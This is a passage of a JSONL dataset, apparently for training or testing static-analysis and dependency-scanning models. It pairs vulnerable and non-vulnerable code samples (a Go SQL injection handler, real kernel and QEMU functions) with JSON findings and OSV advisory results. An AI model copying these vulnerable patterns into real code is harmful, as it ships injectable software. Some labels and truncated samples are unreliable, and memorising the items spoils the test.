\"ast_node\": \";\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"while\",\n \"ast_node\": \"while\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"&&\",\n \"ast_node\": \"&&\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"which\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"next\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \"--\",\n \"ast_node\": \"--\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"which\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 4\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 6\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \"prev\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 14\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 11,\n \"col\": 3\n },\n {\n \"token\": \"prev\",\n \"ast_node\": \"field_identifier\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 11,\n \"col\": 9\n },\n {\n \"token\": \"next\",\n \"ast_node\": \"field_identifier\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 11,\n \"col\": 16\n },\n {\n \"token\": \"c\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 18\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-89", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following go code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "func getUser(w http.ResponseWriter, r *http.Request) {\n\tpayload := r.URL.Query().Get(\"file\")\n\tquery := fmt.Sprintf(\"SELECT * FROM users WHERE id = '%s'\", payload)\n\trows, _ := db.Query(query)\n\tdefer rows.Close()\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-89\",\n \"cwe_name\": \"SQL Injection\",\n \"title\": \"SQL injection via fmt.Sprintf\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"db\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"Query\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"query\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 26\n }\n ],\n \"explanation\": \"fmt.Sprintf builds the SQL string from untrusted input passed to db.Query.\",\n \"remediation\": \"Use parameterized queries / prepared statements; never concatenate untrusted input into SQL.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-1321", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: js-cookie\nInstalled version: <3.0.7\nSummary: JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-qjx8-664m-686j\",\n \"cve\": \"CVE-2026-46625\",\n \"aliases\": [\n \"CVE-2026-46625\"\n ],\n \"cwe\": \"CWE-1321\",\n \"ecosystem\": \"npm\",\n \"package\": \"js-cookie\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <3.0.7\",\n \"fixed_version\": \"3.0.7\",\n \"finding\": \"JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection\",\n \"remediation\": \"Upgrade js-cookie to 3.0.7 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: 6.1.64-1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"installed_version\": \"6.1.64-1\",\n \"note\": \"linux 6.1.64-1 is at or above the fixed version for DEBIAN-CVE-2023-52835; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:13\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.12.111-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: md/raid1: don't set array_frozen in raid1_takeover() raid1_takeover() sets conf->array_frozen = 1 on the newly-allocated r1conf an...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-90275\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:13\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.12.111-1\",\n \"fixed_version\": \"6.12.111-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: md/raid1: don't set array_frozen in raid1_takeover() raid1_takeover() sets conf->array_frozen = 1 on the newly-allocated r1conf an...\",\n \"remediation\": \"Upgrade linux to 6.12.111-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-835", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "ssize_t tcp_splice_read(struct socket *sock, loff_t *ppos,\n\t\t\tstruct pipe_inode_info *pipe, size_t len,\n\t\t\tunsigned int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct tcp_splice_state tss = {\n\t\t.pipe = pipe,\n\t\t.len = len,\n\t\t.flags = flags,\n\t};\n\tlong timeo;\n\tssize_t spliced;\n\tint ret;\n\n\tsock_rps_record_flow(sk);\n\t/*\n\t * We can't seek on a socket input\n\t */\n\tif (unlikely(*ppos))\n\t\treturn -ESPIPE;\n\n\tret = spliced = 0;\n\n\tlock_sock(sk);\n\n\ttimeo = sock_rcvtimeo(sk, sock->file->f_flags & O_NONBLOCK);\n\twhile (tss.len) {\n\t\tret = __tcp_splice_read(sk, &tss);\n\t\tif (ret < 0)\n\t\t\tbreak;\n\t\telse if (!ret) {\n\t\t\tif (spliced)\n\t\t\t\tbreak;\n\t\t\tif (sock_flag(sk, SOCK_DONE))\n\t\t\t\tbreak;\n\t\t\tif (sk->sk_err) {\n\t\t\t\tret = sock_error(sk);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (sk->sk_shutdown & RCV_SHUTDOWN)\n\t\t\t\tbreak;\n\t\t\tif (sk->sk_state == TCP_CLOSE) {\n\t\t\t\t/*\n\t\t\t\t * This occurs when user tries to read\n\t\t\t\t * from never connected socket.\n\t\t\t\t */\n\t\t\t\tif (!sock_flag(sk, SOCK_DONE))\n\t\t\t\t\tret = -ENOTCONN;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (!timeo) {\n \t\t\t\tret = -EAGAIN;\n \t\t\t\tbreak;\n \t\t\t}\n \t\t\tsk_wait_data(sk, &timeo, NULL);\n \t\t\tif (signal_pending(current)) {\n \t\t\t\tret = sock_intr_errno(timeo);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\ttss.len -= ret;\n\t\tspliced += ret;\n\n\t\tif (!timeo)\n\t\t\tbreak;\n\t\trelease_sock(sk);\n\t\tlock_sock(sk);\n\n\t\tif (sk->sk_err || sk->sk_state == TCP_CLOSE ||\n\t\t (sk->sk_shutdown & RCV_SHUTDOWN) ||\n\t\t signal_pending(current))\n\t\t\tbreak;\n\t}\n\n\trelease_sock(sk);\n\n\tif (spliced)\n\t\treturn spliced;\n\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-835\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-6214\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void vrend_renderer_context_create_internal(uint32_t handle, uint32_t nlen,\n const char *debug_name)\n{\n struct vrend_decode_ctx *dctx;\n\n if (handle >= VREND_MAX_CTX)\n return;\n \n dctx = malloc(sizeof(struct vrend_decode_ctx));\n if (!dctx)\n return;\n return;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-10163\",\n \"project\": \"virglrenderer\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,\n\t\tunsigned long address, pte_t *page_table, pmd_t *pmd,\n\t\tunsigned int flags, pte_t orig_pte)\n{\n\tpgoff_t pgoff = (((address & PAGE_MASK)\n \t\t\t- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;\n \n \tpte_unmap(page_table);\n \tif (!(flags & FAULT_FLAG_WRITE))\n \t\treturn do_read_fault(mm, vma, address, pmd, pgoff, flags,\n \t\t\t\torig_pte);\n\tif (!(vma->vm_flags & VM_SHARED))\n\t\treturn do_cow_fault(mm, vma, address, pmd, pgoff, flags,\n\t\t\t\torig_pte);\n\treturn do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-3288\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-266", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hashicorp/nomad\nInstalled version: 0.11.0\nSummary: Nomad Search API Leaks Information About CSI Plugins", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-v5fm-hr72-27hx\",\n \"cve\": \"CVE-2023-3300\",\n \"aliases\": [\n \"CVE-2023-3300\",\n \"GO-2024-2671\"\n ],\n \"cwe\": \"CWE-266\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hashicorp/nomad\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0.11.0, <1.4.11\",\n \"fixed_version\": \"1.4.11\",\n \"finding\": \"Nomad Search API Leaks Information About CSI Plugins\",\n \"remediation\": \"Upgrade github.com/hashicorp/nomad to 1.4.11 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void qemu_spice_destroy_primary_surface(SimpleSpiceDisplay *ssd, uint32_t id)\n{\n ssd->worker->destroy_primary_surface(ssd->worker, id);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"qemu-kvm\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: zope2\nInstalled version: 2.8.0\nSummary: Moderate severity vulnerability that affects Zope2", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-v7q8-wvvh-c97p\",\n \"cve\": \"CVE-2010-1104\",\n \"aliases\": [\n \"CVE-2010-1104\",\n \"PYSEC-2026-765\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"zope2\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=2.8.0, <2.8.12\",\n \"fixed_version\": \"2.8.12\",\n \"finding\": \"Moderate severity vulnerability that affects Zope2\",\n \"remediation\": \"Upgrade zope2 to 2.8.12 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-73", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: better-auth\nInstalled version: <1.4.2\nSummary: Better Auth affected by external request basePath modification DoS", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-569q-mpph-wgww\",\n \"cve\": \"CVE-2025-71401\",\n \"aliases\": [\n \"CVE-2025-71401\"\n ],\n \"cwe\": \"CWE-73\",\n \"ecosystem\": \"npm\",\n \"package\": \"better-auth\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.4.2\",\n \"fixed_version\": \"1.4.2\",\n \"finding\": \"Better Auth affected by external request basePath modification DoS\",\n \"remediation\": \"Upgrade better-auth to 1.4.2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-369", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int set_geometry(unsigned int cmd, struct floppy_struct *g,\n\t\t\t int drive, int type, struct block_device *bdev)\n{\n\tint cnt;\n\n \t/* sanity checking for parameters. */\n \tif (g->sect <= 0 ||\n \t g->head <= 0 ||\n \t g->track <= 0 || g->track > UDP->tracks >> STRETCH(g) ||\n \t /* check if reserved bits are set */\n \t (g->stretch & ~(FD_STRETCH | FD_SWAPSIDES | FD_SECTBASEMASK)) != 0)\n\t\treturn -EINVAL;\n\tif (type) {\n\t\tif (!capable(CAP_SYS_ADMIN))\n\t\t\treturn -EPERM;\n\t\tmutex_lock(&open_lock);\n\t\tif (lock_fdc(drive)) {\n\t\t\tmutex_unlock(&open_lock);\n\t\t\treturn -EINTR;\n\t\t}\n\t\tfloppy_type[type] = *g;\n\t\tfloppy_type[type].name = \"user format\";\n\t\tfor (cnt = type << 2; cnt < (type << 2) + 4; cnt++)\n\t\t\tfloppy_sizes[cnt] = floppy_sizes[cnt + 0x80] =\n\t\t\t floppy_type[type].size + 1;\n\t\tprocess_fd_request();\n\t\tfor (cnt = 0; cnt < N_DRIVE; cnt++) {\n\t\t\tstruct block_device *bdev = opened_bdev[cnt];\n\t\t\tif (!bdev || ITYPE(drive_state[cnt].fd_device) != type)\n\t\t\t\tcontinue;\n\t\t\t__invalidate_device(bdev, true);\n\t\t}\n\t\tmutex_unlock(&open_lock);\n\t} else {\n\t\tint oldStretch;\n\n\t\tif (lock_fdc(drive))\n\t\t\treturn -EINTR;\n\t\tif (cmd != FDDEFPRM) {\n\t\t\t/* notice a disk change immediately, else\n\t\t\t * we lose our settings immediately*/\n\t\t\tif (poll_drive(true, FD_RAW_NEED_DISK) == -EINTR)\n\t\t\t\treturn -EINTR;\n\t\t}\n\t\toldStretch = g->stretch;\n\t\tuser_params[drive] = *g;\n\t\tif (buffer_drive == drive)\n\t\t\tSUPBOUND(buffer_max, user_params[drive].sect);\n\t\tcurrent_type[drive] = &user_params[drive];\n\t\tfloppy_sizes[drive] = user_params[drive].size;\n\t\tif (cmd == FDDEFPRM)\n\t\t\tDRS->keep_data = -1;\n\t\telse\n\t\t\tDRS->keep_data = 1;\n\t\t/* invalidation. Invalidate only when needed, i.e.\n\t\t * when there are already sectors in the buffer cache\n\t\t * whose number will change. This is useful, because\n\t\t * mtools often changes the geometry of the disk after\n\t\t * looking at the boot block */\n\t\tif (DRS->maxblock > user_params[drive].sect ||\n\t\t DRS->maxtrack ||\n\t\t ((user_params[drive].sect ^ oldStretch) &\n\t\t (FD_SWAPSIDES | FD_SECTBASEMASK)))\n\t\t\tinvalidate_drive(bdev);\n\t\telse\n\t\t\tprocess_fd_request();\n\t}\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-369\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2019-14284\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:13\nManifest: distro package manager (apt/apk)\nPackage: gimp\nInstalled version: 3.0.4-3+deb13u1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:13\",\n \"package\": \"gimp\",\n \"installed_version\": \"3.0.4-3+deb13u1\",\n \"note\": \"gimp 3.0.4-3+deb13u1 is at or above the fixed version for DEBIAN-CVE-2025-10920; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hashicorp/go-getter\nInstalled version: 1.5.11\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hashicorp/go-getter\",\n \"installed_version\": \"1.5.11\",\n \"note\": \"github.com/hashicorp/go-getter 1.5.11 is at or above the fixed version for GHSA-27rq-4943-qcwp; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int bad_inode_create (struct inode *dir, struct dentry *dentry,\n\t\tint mode, struct nameidata *nd)\n{\n\treturn -EIO;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: net-snmp\nInstalled version: 5.7.2.1~dfsg-7\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"net-snmp\",\n \"installed_version\": \"5.7.2.1~dfsg-7\",\n \"note\": \"net-snmp 5.7.2.1~dfsg-7 is at or above the fixed version for DEBIAN-CVE-2014-3565; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static long do_splice_to(struct file *in, loff_t *ppos,\n\t\t\t struct pipe_inode_info *pipe, size_t len,\n\t\t\t unsigned int flags)\n{\n\tint ret;\n\n\tif (unlikely(!in->f_op || !in->f_op->splice_read))\n\t\treturn -EINVAL;\n\n\tif (unlikely(!(in->f_mode & FMODE_READ)))\n\t\treturn -EBADF;\n\n\tret = rw_verify_area(READ, in, ppos, len);\n\tif (unlikely(ret < 0))\n\t\treturn ret;\n\n\treturn in->f_op->splice_read(in, ppos, pipe, len, flags);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int fat_parse_long(struct inode *dir, loff_t *pos,\n\t\t\t struct buffer_head **bh, struct msdos_dir_entry **de,\n\t\t\t wchar_t **unicode, unsigned char *nr_slots)\n{\n\tstruct msdos_dir_slot *ds;\n\tunsigned char id, slot, slots, alias_checksum;\n\n\tif (!*unicode) {\n\t\t*unicode = (wchar_t *)__get_free_page(GFP_KERNEL);\n\t\tif (!*unicode) {\n\t\t\tbrelse(*bh);\n\t\t\treturn -ENOMEM;\n\t\t}\n\t}\nparse_long:\n\tslots = 0;\n\tds = (struct msdos_dir_slot *)*de;\n\tid = ds->id;\n\tif (!(id & 0x40))\n\t\treturn PARSE_INVALID;\n\tslots = id & ~0x40;\n\tif (slots > 20 || !slots)\t/* ceil(256 * 2 / 26) */\n\t\treturn PARSE_INVALID;\n\t*nr_slots = slots;\n\talias_checksum = ds->alias_checksum;\n\n\tslot = slots;\n\twhile (1) {\n\t\tint offset;\n\n\t\tslot--;\n\t\toffset = slot * 13;\n\t\tfat16_towchar(*unicode + offset, ds->name0_4, 5);\n\t\tfat16_towchar(*unicode + offset + 5, ds->name5_10, 6);\n\t\tfat16_towchar(*unicode + offset + 11, ds->name11_12, 2);\n\n\t\tif (ds->id & 0x40)\n\t\t\t(*unicode)[offset + 13] = 0;\n\t\tif (fat_get_entry(dir, pos, bh, de) < 0)\n\t\t\treturn PARSE_EOF;\n\t\tif (slot == 0)\n\t\t\tbreak;\n\t\tds = (struct msdos_dir_slot *)*de;\n\t\tif (ds->attr != ATTR_EXT)\n\t\t\treturn PARSE_NOT_LONGNAME;\n\t\tif ((ds->id & ~0x40) != slot)\n\t\t\tgoto parse_long;\n\t\tif (ds->alias_checksum != alias_checksum)\n\t\t\tgoto parse_long;\n\t}\n\tif ((*de)->name[0] == DELETED_FLAG)\n\t\treturn PARSE_INVALID;\n\tif ((*de)->attr == ATTR_EXT)\n\t\tgoto parse_long;\n\tif (IS_FREE((*de)->name) || ((*de)->attr & ATTR_VOLUME))\n\t\treturn PARSE_INVALID;\n\tif (fat_checksum((*de)->name) != alias_checksum)\n\t\t*nr_slots = 0;\n\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-94", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int ssi_sd_load(QEMUFile *f, void *opaque, int version_id)\n{\n SSISlave *ss = SSI_SLAVE(opaque);\n ssi_sd_state *s = (ssi_sd_state *)opaque;\n int i;\n\n if (version_id != 1)\n return -EINVAL;\n\n s->mode = qemu_get_be32(f);\n s->cmd = qemu_get_be32(f);\n for (i = 0; i < 4; i++)\n s->cmdarg[i] = qemu_get_be32(f);\n for (i = 0; i < 5; i++)\n s->response[i] = qemu_get_be32(f);\n s->arglen = qemu_get_be32(f);\n s->response_pos = qemu_get_be32(f);\n s->stopping = qemu_get_be32(f);\n\n ss->cs = qemu_get_be32(f);\n\n return 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-94\",\n \"cwe_name\": \"Code Injection\",\n \"severity\": \"high\",\n \"project\": \"qemu\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: pgadmin4\nInstalled version: <9.15\nSummary: pgAdmin 4: Improper restriction of excessive authentication attempts", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-2869\",\n \"cve\": \"CVE-2026-7820\",\n \"aliases\": [\n \"CVE-2026-7820\",\n \"GHSA-hv9p-2pqf-r5w3\"\n ],\n \"cwe\": null,\n \"ecosystem\": 